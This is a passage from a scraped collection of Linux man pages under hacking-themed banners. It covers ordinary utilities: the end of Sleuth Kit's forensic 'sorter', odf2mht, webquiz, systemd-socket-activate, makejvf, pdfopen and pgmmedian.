# sorter -f ntfs -d data/sorter -a /usr/hash/rootkit.db -x /usr/hash/win2k.db -n /usr/hash/nsrl/NSRLFile.txt images/hda1.dd

To just identify images using the supplied ‘images.sort’ file:

# sorter -f ntfs -C /usr/local/sleuthkit/share/sort/images.sort -d data/sorter -h -s images/hda1.dd

REQUIREMENTS

The NIST National Software Reference Library (NSRL) can be found at www.nsrl.nist.gov.

LICENSE

Distributed under the Common Public License, found in the cpl1.0.txt file in the The Sleuth Kit licenses directory.

AUTHOR

Brian Carrier <carrier at sleuthkit dogt org>

Send documentation updates to <doc-updates at sleuthkit dot org>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

578 - Linux cli command odf2mht

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command odf2mht and provides detailed information about the command odf2mht, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the odf2mht.

NAME 🖥️ odf2mht 🖥️

Convert ODF to HTML archive

SYNOPSIS

odf2mht path

DESCRIPTION

Odf2mht is a program that will create a MIME-encapsulated web archive (.mht) format where images are preserved. The file can be read by Internet Explorer, MS-Word and many email programs such as MS-Outlook. It will write the web archive to stdout.

“Path” is assumed to be an OpenDocument file of text, spreadsheet or presentation type.

REFERENCES

HTTRACK (http://www.httrack.com/) can create such archives with the -%M option.

http://en.wikipedia.org/wiki/MHTML

http://www.dsv.su.se/~jpalme/ietf/mhtml.html

http://users.otenet.gr/~geosp/kmhtconvert/

http://www.faqs.org/rfcs/rfc2557.html

EXAMPLE

odf2mht example.odt >example.mht

BUGS

IE6 seems to have problems with large MHT files.

SEE ALSO

odftools(1), odf2war(1), mailodf(1)

AUTHOR

Søren Roug

Original author

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

579 - Linux cli command webquiz

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command webquiz and provides detailed information about the command webquiz, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the webquiz.

NAME 🖥️ webquiz 🖥️

WebQuiz makes it possible to use LaTeX to write interactive online quizzes. The quizzes are first written in LaTeX and then converted into HTML using WebQuiz, which is written in python. The conversion from LaTeX to HTML is done behind the scenes using TeX4ht. The idea is that you should be able to produce nice online quizzes using WebQuiz and basic knowledge of LaTeX.

WebQuiz is designed to be used from the command-line. For example, if quiz1.tex is a LaTeX file for a quiz then:

latex quiz1
produces a “readable” DVI file for the quiz

pdflatex quiz1
produces a “readable” PDF file for the quiz

webquiz quiz1
creates the web page quiz1.html

If you prefer to use LaTeX from a GUI for LaTeX then it should be possible to configure it to use WebQuiz directly. As an example, the manual provides some details about how to do this for TeXShop.

USAGE

usage: webquiz [-h] [-q] [-d] [-s] [–latex | -l | -x] [-r RCFILE]
[-i | -e | –settings [SETTINGS]] [quiz_file [quiz_file …]]

A LaTeX package for writing online quizzes

positional arguments:
quiz_file latex quiz files

optional arguments:

-h, –help**
show this help message and exit

-q, –quiet**
Suppress tex4ht messages (also -qq etc)

-d, –draft**
Use make4ht draft mode

-s, –shell-escape**
Shell escape for tex4ht/make4ht

–latex
Use latex to compile document with make4ht (default)

-l, –lua**
Use lualatex to compile the quiz

-x, –xelatex**
Use xelatex to compile the quiz

-r* RCFILE*,**** –rcfile*** RCFILE*
Specify location of the webquiz rc-file

-i, –initialise*,* –initialize**
Install web components of webquiz

-e, –edit-settings**
Edit default settings for webquiz

–settings* <SETTINGS>*
List default settings for webquiz

INSTALLATION

To use WebQuiz you need to have a standard LaTeX distribution installed, such as TeXLive**, that includes** TeX4ht**. In addition, you need to have** Python3 installed. As WebQuiz uses scalable vector graphics (SVG) you should check that all of the dependencies of dvisvgm are installed on your system, especially if you plan on using graphics or images.

Once the TeX components of WebQuiz package have been installed you can install the web components of WebQuiz using the following command, which needs to be run from the command line:

> webquiz –initialise

If you want to install the web components of WebQuiz into a system directory then you need to run this command from an administrators account, so using sudo on a unix-like system. For more details about the installation and configuration of WebQuiz please see Section 3.2 of the WebQuiz manual.

Please see the manual for more details about initialising and using WebQuiz**.**

INSTALLATION FROM THE CTAN ZIPFILE

On both unix-like systems (including macosx), and windows systems (using either TeXLive or MiKTeX), you can install WebQuiz by downloading the WebQuiz zip file from:

http://mirrors.ctan.org/macros/latex/contrib/webquiz.zip

To install the package, unzip this file and change directory to the webquiz/scripts subdirectory run:

> webquiz –tex-install

(or webquiz.bat –text-install on windows). This commands unpacks the webquiz files into their standard locations in the TeX install tree to it should be run from an administrators account, or using sudo on a unix-like system. Roughly what this command does is the following:

  • It creates a symbolic link, or equivalent, to the main WebQuiz executable, which is the file webquiz.py in the scripts directory

  • Copies the latex directory to somewhere in the TeX search path and then runs mktexlsr so that LaTeX and WebQuiz can find these files.

  • Copies the python code into the TeX scripts subdirectory

  • Copies the WebQuiz doc subdirectory into the TeX doc/latex subdirectory.

If you are using MiKTeX you may need to open the MiKTeX console, go to the Tasks menu and then rebuild the TeX filename database.

Once the files above are in place initialise WebQuiz by following the installation instructions above.

Mainly for development purposes, there is another undocumented command-line option for removing these files from TEXMFMAIN:

> sudo webquiz/scripts/webquiz –tex-uninstall

SYSTEM REQUIREMENTS

In order to work WebQuiz needs the following programs to be installed on your system:

  • An up-to-date LaTeX distribution, such as that provided by TeXLive**. In** particular, you need to have TeX4ht and make4ht installed. Unfortunately, since TeXLive 2018 was released there have been a significat bunber of updates to a number of packahges that WebQuiz uses, including updates to TeX4ht**,** make4ht**,** tikz and pstricks**. For this reason,** it is strongly recommended that you all packages from ctan_ before using WebQuiz_.

  • python3 As of writing python 3.7.2 is available.

  • Javascript

  • If you plan to use pstricks with WebQuiz**, or if you want to** compile the online manual for WebQuiz, then you need to ensure that ghostscript and dvisvgm are installed and properly configured on your system. See the WebQuiz manual and the dvisvgm documentation for more details

  • A web server. To view online quizzes you of course need a web server. As described in the Installation section you will also need to copy of the WebQuiz components onto your web server using the command:

> webquiz –initialise

AUTHORS

The LaTeX component of WebQuiz was written by Andrew Mathas and the python, css and javascript code was written by Andrew Mathas (and Don Taylor), based on an initial protype of Don Taylor’s from 2001. Since 2004 the program has been maintained and developed by Andrew Mathas. Although the program has changed substantially since 2004 Don’s idea of using TeX4ht**, and some of his code, is** still very much in use.

Copyright (C) 2004-2019

LICENSE

GNU General Public License, Version 3, 29 June 2007

This program is free software: you can redistribute it and/or modify it under the terms of the GNU_General Public License (GPL**) as published by** the Free Software Foundation, either version 3 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

580 - Linux cli command systemd-socket-activate

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command systemd-socket-activate and provides detailed information about the command systemd-socket-activate, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the systemd-socket-activate.

NAME 🖥️ systemd-socket-activate 🖥️

socket-activate - Test socket activation of daemons

SYNOPSIS

systemd-socket-activate [OPTIONS…] daemon [OPTIONS…]

DESCRIPTION

systemd-socket-activate may be used to launch a socket-activated service program from the command line for testing purposes. It may also be used to launch individual instances of the service program per connection.

The daemon to launch and its options should be specified after options intended for systemd-socket-activate.

If the –inetd option is given, the socket file descriptor will be used as the standard input and output of the launched process. Otherwise, standard input and output will be inherited, and sockets will be passed through file descriptors 3 and higher. Sockets passed through $LISTEN_FDS to systemd-socket-activate will be passed through to the daemon, in the original positions. Other sockets specified with –listen= will use consecutive descriptors. By default, systemd-socket-activate listens on a stream socket, use –datagram and –seqpacket to listen on datagram or sequential packet sockets instead (see below).

OPTIONS

-l address, **–listen=**address

Listen on this address. Takes a string like “2000” or “127.0.0.1:2001”.

Added in version 230.

-a, –accept

Launch an instance of the service program for each connection and pass the connection socket.

Added in version 230.

-d, –datagram

Listen on a datagram socket (SOCK_DGRAM), instead of a stream socket (SOCK_STREAM). May not be combined with –seqpacket.

Added in version 230.

–seqpacket

Listen on a sequential packet socket (SOCK_SEQPACKET), instead of a stream socket (SOCK_STREAM). May not be combined with –datagram.

Added in version 230.

–inetd

Use the inetd protocol for passing file descriptors, i.e. as standard input and standard output, instead of the new-style protocol for passing file descriptors using $LISTEN_FDS (see above).

Added in version 230.

-E VAR**[=**VALUE], **–setenv=VAR[=**VALUE]

Add this variable to the environment of the launched process. If VAR is followed by “=”, assume that it is a variable–value pair. Otherwise, obtain the value from the environment of systemd-socket-activate itself.

Added in version 230.

**–fdname=NAME[:**NAME…]

Specify names for the file descriptors passed. This is equivalent to setting FileDescriptorName= in socket unit files, and enables use of sd_listen_fds_with_names(3). Multiple entries may be specifies using separate options or by separating names with colons (":") in one option. In case more names are given than descriptors, superfluous ones will be ignored. In case less names are given than descriptors, the remaining file descriptors will be unnamed.

Added in version 230.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

ENVIRONMENT VARIABLES

$LISTEN_FDS, $LISTEN_PID, $LISTEN_FDNAMES

See sd_listen_fds(3).

Added in version 230.

$SYSTEMD_LOG_TARGET, $SYSTEMD_LOG_LEVEL, $SYSTEMD_LOG_TIME, $SYSTEMD_LOG_COLOR, $SYSTEMD_LOG_LOCATION

Same as in systemd(1).

Added in version 230.

EXAMPLES

Example 1. Run an echo server on port 2000

$ systemd-socket-activate -l 2000 –inetd -a cat

Example 2. Run a socket-activated instance of systemd-journal-gatewayd(8)

$ systemd-socket-activate -l 19531 /usr/lib/systemd/systemd-journal-gatewayd

SEE ALSO

systemd(1), systemd.socket(5), systemd.service(5), systemd-run(1), sd_listen_fds(3), sd_listen_fds_with_names(3), cat(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

581 - Linux cli command makejvf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command makejvf and provides detailed information about the command makejvf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the makejvf.

NAME 🖥️ makejvf 🖥️

Make Japanese VF file from Japanese TeX TFM file

SYNOPSIS

makejvf [<options>] <TeX TFM file> <PS font TFM>

DESCRIPTION

makejvf is a tool to generate Japanese VF file from Japanese TeX TFM (JFM) file for use with dvips.

When processing Japanese texts, pTeX refers to JFM (min10.tfm, jis.tfm etc.), which includes definitions of some different character widths and metric glue/kerns. For most punctuations and quotation marks, the character widths are truncated to less than 1 zw (zenkaku-width; the width of ordinary Kanji characters), and metric glue/kerns are inserted as a substitute.
On the other hand, in Japanese PS fonts, all punctuations and quotation marks have the same character widths as ordinary Kanji characters. For this reason, when dvips processes the resulting DVI, these characters have to be shifted to the left by the amount of glue/kerns inserted.
To achieve this, Virtual fonts (VF) and PS TFM files are required; When VF contains the commands of shifting characters, PS font TFM can have the exact character widths of PS fonts.
The program makejvf can be used for this purpose. It inputs a pTeX JFM file (referred to as <TeX TFM file> in SYNOPSIS above), and outputs a corresponding VF file (with the same basename as <TeX TFM file>) and a JFM file for a PS font JFM file (<PS font TFM> above).

OPTIONS

-C
Condensed (“Cho-tai”) mode.

-K <PS-TFM>
Map Kana (more exactly, non-Kanji) characters to another PS font JFM named <PS-TFM>.

-b <integer>
Base line shift amount; the integer represents a relative value, using the character height as a base of 1000. When a positive integer is specified, the characters are lowered. When a negative integer is specified, the characters are raised.

-m
Replace single/double quotation marks (’, ‘’) with single/double prime quotation marks (so-called “minute”) in vertical writing. The replacement is realized by manipulating glyphs of prime and double prime (JIS 0x216C and 0x216D; Unicode U+2032 and U+2033), not by putting actual glyphs designed for quotation marks (Unicode U+301D and U+301E/U+301F).

-a <AFMfile>
Name of the input AFM file used for Kana-tsume mode. This option is unsupported.

-k <integer>
Kana-tsume (narrower spaces between Kana characters) margin amount; the integer represents a relative value, using the character width as a base of 1000. This option should be accompanied with -a option. This option is unsupported.

-i
Start mapped font ID from No. 0 in output VF (by default, makejvf defaults to No. 1).

-e
Enhanced mode; the horizontal shift amount is determined from the glue/kern table of input JFM file.

By default, makejvf uses the hard-coded value as the horizontal shift amount, which is (mostly) optimized for Japanese fonts. When enhanced mode (option -e) is enabled, the shift amount is determined from the input pTeX TFM (JFM) file, which is likely to output most suitable VF for the JFM.
For most standard Japanese JFM (like jis.tfm and its derivatives), the output VFs from both modes will have no significant difference. For simplified/traditional Chinese JFM (like upschrm-h.tfm and uptchrm-h.tfm), the output VF from enhanced mode will be better. For min10.tfm and its derivatives, enhanced mode should never be enabled, since the characterization in min10.tfm is non-standard.
-t <CNFfile>
Use <CNFfile> as a configuration file.

-O
Omit entries in VF for characters with default metric. This option is not allowed to be used with the option -t.

-u <Charset>
UCS mode. Available charsets are: gb (GB = Simplified Chinese), cns (CNS = Traditional Chinese), ks (KS = Korean), jis (JIS = Japanese), jisq (JIS quote only), custom (user-defined CHARSET from <CNFfile>; see CONFIGURATION FILE FORMAT section).

Options below are effective only in UCS mode:
-J <PS-TFM>
Map single/double quote to another JIS-encoded PSfont TFM.

-U <PS-TFM>
Map single/double quote to another UCS-encoded PSfont TFM.

-3
Use set3, that is, enable non-BMP characters support (with UCS mode). By default makejvf does not output >=U+10000, to reduce file size and to avoid problems with old DVI drivers. Recent versions of dvipdfmx and others can handle VF with >=U+10000 (= set3 in DVI language), therefore -3 might be helpful.

-H
Use half-width Katakana.

EXAMPLE

If you want to use min10 as Ryumin-Light-H, run
makejvf min10.tfm rml

This generates min10.vf and rml.tfm. Put these files in an appropriate directory under TEXMF tree, and add the following line to psfonts.map.
rml Ryumin-Light-H

CONFIGURATION FILE FORMAT

With -t option, you can give makejvf a custom settings for generating VF. The syntax is:
% comment line MOVE <code> <right> <down> REPLACE <code> <new code> CHARSET <code>,<code>,<code>..<code>,<code>, + <code>,<code>..<code>

Each line should begin with a command, and should be TAB-separated. Line starting with % is a comment, and empty lines are ignored.
The MOVE command specifies horizontal/vertical shift amount for the individual character <code>. The REPLACE command replaces the character <code> with <new code>. The CHARSET command sets the custom character set of output VF; the + character continues from the previous line.
An example usage can be found in uptex-fonts project. See GitHub repository
<https://github.com/texjporg/uptex-fonts>.

SEE ALSO

More detailed description of makejvf in Japanese is available at $TEXMFDIST/doc/fonts/ptex-fonts/README_makejvf

AUTHOR

This manual page was written by Japanese TeX Development Community <https://texjp.org>. For more information, see GitHub repository <https://github.com/texjporg/ptex-fonts>.

Many thanks to Atsuhito KOHDA <[email protected]>, for providing another manpage in Debian GNU/Linux system.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

582 - Linux cli command pdfopen

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pdfopen and provides detailed information about the command pdfopen, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pdfopen.

NAME 🖥️ pdfopen 🖥️

open or close a PDF file viewer

SYNOPSIS

pdfopen [ options ] [ –file ] file.pdf
pdfclose [ –file ] file.pdf

OPTIONS

-h, –help, -?
output help and exit.

-v, –version, -V
output the version number and exit.

-p <n>, –page <n>
when starting the viewer, display page <n> of the document (notes: not all viewers support this feature, and even in those cases this option only has effect when the document is initially loaded). This option is over-ridden by -g.

-g <named destination>, –goto <named destination>
when starting the viewer, display the page of the document containing the named destination (notes: not all viewers support this feature, and even in those cases this option only has effect when the document is initially loaded).

-r, –reset_focus
after sending commands to the PDF viewer, attempt to reset the input focus to the window which had focus before the commands were sent.

-viewer, –viewer <ar9|ar9-tab|ar8|ar7|ar5|xpdf|evince>
use (respectively) Adobe Reader 9 (in a new window), Adobe Reader 9 (in a new tab of a running AR9, if any), Adobe Reader 8, Adobe Reader 7, Adobe Reader 5, xpdf or evince as the PDF viewer program. Adobe Reader 9 (in a new window) is the default.

RATIONALE

At certain points of TeX document preparation, many people repeat a “edit-compile-view” cycle. Since PDF viewers such as Adobe’s Acrobat Reader ("acroread") do not automatically refresh the display when the PDF file changes, this cycle can be more cumbersome than desired. The pdfopen program provides the ability to automate the reloading of the PDF document when it is changed.

Note: there seems to be little need for pdfclose under GNU/Linux, since (unlike the situation for MS windows) acroread does not lock the PDF file, which would prevent pdftex (or a DVI to PDF converter) from creating a new version of the PDF output file. However, pdfclose is provided in case someone finds it useful.

DESCRIPTION

pdfopen searches for an instance of the specified (or default) PDF viewer displaying the specified PDF file. If there is already an instance of the given viewer displaying the given file, the viewer is instructed to reload the file. If no such instance is found, pdfopen attempts to run the specified viewer on the specified document.

The default viewer is “acroread”, which could start any one of a number of versions of Acrobat Reader, depending on what is installed on your system. However, the commands to reload the current document vary from one version of acroread to another; consequently, if you are using a version of acroread other than AR9, you should explicitly specify the viewer program.

This version of pdfopen accepts the following viewer options:
ar9, ar9-tab, ar8, ar7, ar5, xpdf, and evince.
The difference between ar9 and ar9-tab is significant when there is no instance of AR9 already displaying the requested document. In this situation, while ar9 will request acroread to create a new instance of acroread (and thus open a new window) by using the -openInNewInstance argument, ar9-tab starts acroread without this argument; if there is already an instance of acroread running, a new tab will be opened in an existing window.

pdfclose searches for one of the above PDF viewers displaying the given file and instructs the viewer to “close” the window. In most cases, the PDF viewer continues to run, possibly now displaying just a blank window. (This behaviour varies somewhat from one PDF viewer to another.)

PORTABILITY AND AVAILABILITY

These programs have been tested on Slackware64 Version 14.1 and a few other versions / distributions of GNU/Linux. The code is reasonably generic and should work out of the box using most recent X11 implementations. (Reports to the contrary are welcome, particularly if they come with robust fixes.)

These programs are designed for X11-based systems. If you somehow find compiled versions of these programs on a system using another window system, they are very unlikely to be of any use to you.

Source and binaries of the programs can be downloaded from CTAN://support/xpdfopen/ (e.g., http://mirror.ctan.org/support/xpdfopen).

CAVEATS

If you use ar9-tab to reload the PDF document and the instance of acroread with the given document is currently displaying some other document, the command causes your document to be displayed, but not reloaded.

pdfopen works by looking for a window with a name (window title) matching that expected for the given viewer and document. If for some reason your viewer’s window name is not as expected, pdfopen may not work for you.

With at least AR9 and some window managers, using pdfopen to reload the document gives focus to the acroread window, even though the mouse cursor is not necessarily in that window. This can be annoying. The -reset_focus option can be used to deal with this problem.

AUTHOR

This manual page was written by Jim Diamond <[email protected]>. I am the current maintainer of the X11 versions of pdfopen and pdfclose. Report any bugs you find to me. Feature enhancement requests are welcome, coded enhancements even more so.

Past authors: Fabrice Popineau wrote the MS-windows versions of pdfopen and pdfclose upon which these programs were originally based. Taco Hoekwater created the GNU/Linux versions, up to Version 0.61 (including some documentation which inspired parts of this man page). Peter Breitenlohner has contributed both code and suggestions to versions later than 0.61.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

583 - Linux cli command pgmmedian

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pgmmedian and provides detailed information about the command pgmmedian, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pgmmedian.

.

NAME 🖥️ pgmmedian 🖥️

apply a median filter to a PGM file

SYNOPSIS

pgmmedian

[**-width=**n]

[**-height=**n]

[**-type=**median_type]

[**-cutoff=**int]

[pnmfile]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pgmmedian applies a median filter to a PGM image, using either the histogram sort or select kth value method to determine the median.

A median filter is a convolution filter in which the value of a pixel in the output is the median of a certain set of pixels in the neighborhood of the corresponding input pixel. The effect is to eliminate locally extreme values. Such pixels typically show up as speckles.

Pixels at the edges of the image, pixels where the convolution kernel would go off the edge of the image, are just copied. For example, if -height is 9, the first 4 and last 4 rows of the input image are just copied to the output.

See the -type and -cutoff options for information on how pgmmedian chooses between the two methods.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pgmmedian recognizes the following command line options:

-cutoff int
This option provides the cutoff value that pgmmedian uses to decide between using the histogram sort or select kth value method to find the median.

If (maxval / ((width * height) - 1)), where maxval is the maxval of the image and width and height are the dimensions of the mask, is less than the cutoff value, pgmmedian uses histogram sort. Otherwise, it uses kth value.

This option has no effect if you specify -type.

The default is 250

**-width=**n
Width of the median mask to apply.

Maximum allowed is the width of the input image.

Default is 3.

**-height=**n
Height of the median mask to apply.

Maximum allowed is the height of the input image.

Default is 3.

-type median_type
This option selects which method to use to find median regardless of cutoff value. Choices are histogram_sort and select.

By default, pgmmedian decides which method to use as described under the -cutoff option.

REFERENCES

  • “Collected Algorithms from ACM” Volume II, Algorithm 489 by Robert W. Floyd

  • “A Fast Two-Dimensional Median Filtering Algorithm” in “IEEE Transactions on Acoustics, Speech, and Signal Processing” Vol. ASSP-27, No. 1, February 1979

  • “Digital Image Processing Algorithms” by Ioannis Pitas, Prentice Hall, 1993 ISBN 0-13-145814-0

SEE ALSO

pgmnoise(1) , pamaddnoise(1) , pnmconvol(1) , pgmmorphconv(1) , pgm(1)

HISTORY

pgmmedian was added to Netpbm in Version 10.29 (August 2005). It had been distributed by Mike Burns via his own web site before that (and continued to be so).

AUTHOR

Copyright (C) 1996 by Mike Burns <[email protected]>

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pgmmedian.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

584 - Linux cli command phar.phar8.2

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command phar.phar8.2 and provides detailed information about the command phar.phar8.2, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the phar.phar8.2.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

